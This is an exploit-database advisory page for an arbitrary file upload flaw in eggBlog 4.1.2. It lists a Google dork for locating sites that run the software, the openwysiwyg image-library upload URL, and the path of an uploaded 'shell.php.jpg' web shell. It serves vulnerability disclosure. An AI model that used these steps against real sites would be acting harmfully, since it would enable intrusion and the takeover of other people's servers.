Bug: eggBlog Arbitrary File Upload Vulnerability ( Ascii Version )

Search:
WLB2

eggBlog Arbitrary File Upload Vulnerability

Published
Credit
Risk
2013.05.01
Pokk3rs
High
CWE
CVE
Local
Remote
N/A
N/A ( Add )
No
Yes
 Dork: "powered by eggBlog.net"

# Exploit Title: eggBlog Arbitrary File Upload Vulnerability
# Google Dork:"powered by eggBlog.net"
# Date: 28/04/2013
# Exploit Author: Pokk3rs
# Vendor Homepage: http://eggblog.net/
# Software Link: http://sourceforge.net/projects/eggblog/files/eggBlog%204/v4.1.2/
# Tested on: Win8 Pro x64



Expl0itation


1 - Google Dork:"powered by eggBlog.net"


2 - http://server/[path]/_lib/openwysiwyg/addons/imagelibrary/insert_image.php?wysiwyg=


3 - http://server/[path]/photos/uploads/shell.php.jpg



#

References:

http://sourceforge.net/projects/eggblog/files/eggBlog%204/v4.1.2/
http://eggblog.net/

See this note in TXT Version

Bugtraq RSS
Bugtraq
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn
 
CVE RSS
CVEMAP

Copyright 2014, cxsecurity.com
Ascii Version